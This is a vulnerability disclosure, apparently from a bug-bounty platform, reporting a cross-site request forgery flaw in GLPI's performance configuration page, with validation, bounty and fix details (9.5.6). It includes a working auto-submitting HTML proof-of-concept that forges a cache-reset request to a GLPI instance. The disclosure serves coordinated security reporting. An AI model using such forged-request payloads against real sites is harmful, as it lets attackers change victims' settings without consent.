Cross-Site Request Forgery (CSRF) in glpi-project/glpi

Valid

Reported on

Sep 10th 2021

✍️ Description

Hello dear glpi team I found one more CSRF vulnerability in following directory:

Home/Setup/General/performance

🕵️‍♂️ Proof of Concept

1.fisrt user already should be logged in In Firefox or safari.

2.Open the PoC.html and click on submit button ( Also it can be auto-submit)

3.Here Translation cache will be reset after clicking on submit button on PoC.html file.

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://nocompany.with7.glpi-network.cloud/front/config.form.php">
      <input type="hidden" name="reset&#95;cache" value="1" />
      <input type="hidden" name="optname" value="cache&#95;trans" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Alexandre Delaunay validated this vulnerability 2 years ago

amammad has been awarded the disclosure bounty

The fix bounty is now up for grabs

François Legastelois marked this as fixed in 9.5.6 with commit 93750e a year ago

François Legastelois has been awarded the fix bounty

This vulnerability will not receive a CVE